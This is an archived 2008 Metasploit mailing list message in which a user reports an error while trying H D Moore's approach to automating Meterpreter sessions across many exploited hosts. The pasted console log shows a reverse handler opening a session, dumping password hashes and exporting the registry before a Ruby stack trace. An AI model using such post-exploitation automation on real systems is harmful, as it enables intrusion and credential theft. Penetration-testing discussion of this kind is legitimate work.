Metasploit mailing list archives
Automating Meterpreter
From: go.hawaii at gmx.de (Jason B.)
Date: Tue, 18 Nov 2008 13:28:32 +0100
Hi H D, I tried it out and get some error messages: mmsf exploit(handler) > exploit -j [*] Exploit running as background job. msf exploit(handler) > [*] Starting the payload handler... [*] Started reverse handler [*] Transmitting intermediate stager for over-sized stage...(191 bytes) [*] Sending stage (2650 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (75787 bytes)... [*] Upload completed. [*] New session on A.B.C.D:1254... [*] Gathering basic system information... [*] Dumping password hashes... [*] Obtaining the entire registry... [*] Exporting HKCU [*] Exception: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: 2 /pentest/exploits/framework3/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb:157:in `execute'(eval):112:in `m_exec'(eval):211:in `on_session'(eval):207:in `each'(eval):207:in `on_session'(eval):88:in `on_session'/pentest/exploits/framework3/lib/msf/core/handler.rb:202:in `create_session'/pentest/exploits/framework3/lib/msf/core/payload/stager.rb:128:in `handle_connection_stage'/pentest/exploits/framework3/lib/msf/core/payload/windows/dllinject.rb:231:in `handle_connection_stage'/pentest/exploits/framework3/lib/msf/core/payload/stager.rb:119:in `handle_connection'/pentest/exploits/framework3/lib/msf/core/handler/reverse_tcp.rb:115:in `start_handler'/pentest/exploits/framework3/lib/msf/core/handler/reverse_tcp.rb:113:in `initialize'/pentest/exploits/framework3/lib/msf/core/handler/reverse_tcp.rb:113:in `new'/pentest/exploits/framework3/lib/msf/core/handler/reverse_tcp.rb:113:in `start_handler'/pentest/exploits/framework3/lib/msf/core/handler/reverse_tcp.rb:93:in `initialize'/pentest/exploits/framework3/lib/msf/core/handler/reverse_tcp.rb:93:in `new'/pentest/exploits/framework3/lib/msf/core/handler/reverse_tcp.rb:93:in `start_handler'/pentest/exploits/framework3/lib/msf/core/exploit.rb:401:in `setup'/pentest/exploits/framework3/lib/msf/core/exploit_driver.rb:173:in `job_run_proc'/pentest/exploits/framework3/lib/msf/core/exploit_driver.rb:140:in `run'/pentest/exploits/framework3/lib/rex/job_container.rb:34:in `call'/pentest/exploits/framework3/lib/rex/job_container.rb:34:in `start'/pentest/exploits/framework3/lib/rex/job_container.rb:29:in `initialize'/pentest/exploits/framework3/lib/rex/job_container.rb:29:in `new'/pentest/exploits/framework3/lib/rex/job_container.rb:29:in `start'/pentest/exploits/framework3/lib/rex/job_container.rb:141:in `start_bg_job'/pentest/exploits/framework3/lib/msf/core/exploit_driver.rb:137:in `run'/pentest/exploits/framework3/lib/msf/base/simple/exploit.rb:121:in `exploit_simple'/pentest/exploits/framework3/lib/msf/base/simple/exploit.rb:142:in `exploit_simple'/pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/exploit.rb:118:in `cmd_exploit'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:125:in `run'./msfconsole:78 [*] Meterpreter session 1 opened (E.F.G.H:8080 -> A.B.C.D.:1254) -------- Original-Nachricht --------
Datum: Mon, 17 Nov 2008 15:13:16 -0600 Von: H D Moore <hdm at metasploit.com> An: framework at spool.metasploit.com Betreff: [framework] Automating Meterpreter
I took a quick stab at documenting how to automate metepreter sessions in situations where you are exploiting many users at once. Max plans on a releasing a much better plugin/script backend than the example I show here, but this should get folks started in the short-term. http://metasploit.com/dev/trac/wiki/AutomatingMeterpreter -HD _______________________________________________ http://spool.metasploit.com/mailman/listinfo/framework
-- Der GMX SmartSurfer hilft bis zu 70% Ihrer Onlinekosten zu sparen! Ideal f?r Modem und ISDN: http://www.gmx.net/de/go/smartsurfer
Current thread:
- Automating Meterpreter H D Moore (Nov 17)
- Automating Meterpreter max moser (Nov 17)
- Automating Meterpreter jeffs (Nov 21)
- Automating Meterpreter H D Moore (Nov 21)
- OFTopic botnet Kruno Cicmir - Java (Nov 21)
- Automating Meterpreter jeffs (Nov 21)
- Automating Meterpreter Jason B. (Nov 18)
- Automating Meterpreter H D Moore (Nov 18)
- Automating Meterpreter Jason B. (Nov 18)
- Automating Meterpreter H D Moore (Nov 18)
- Automating Meterpreter max moser (Nov 17)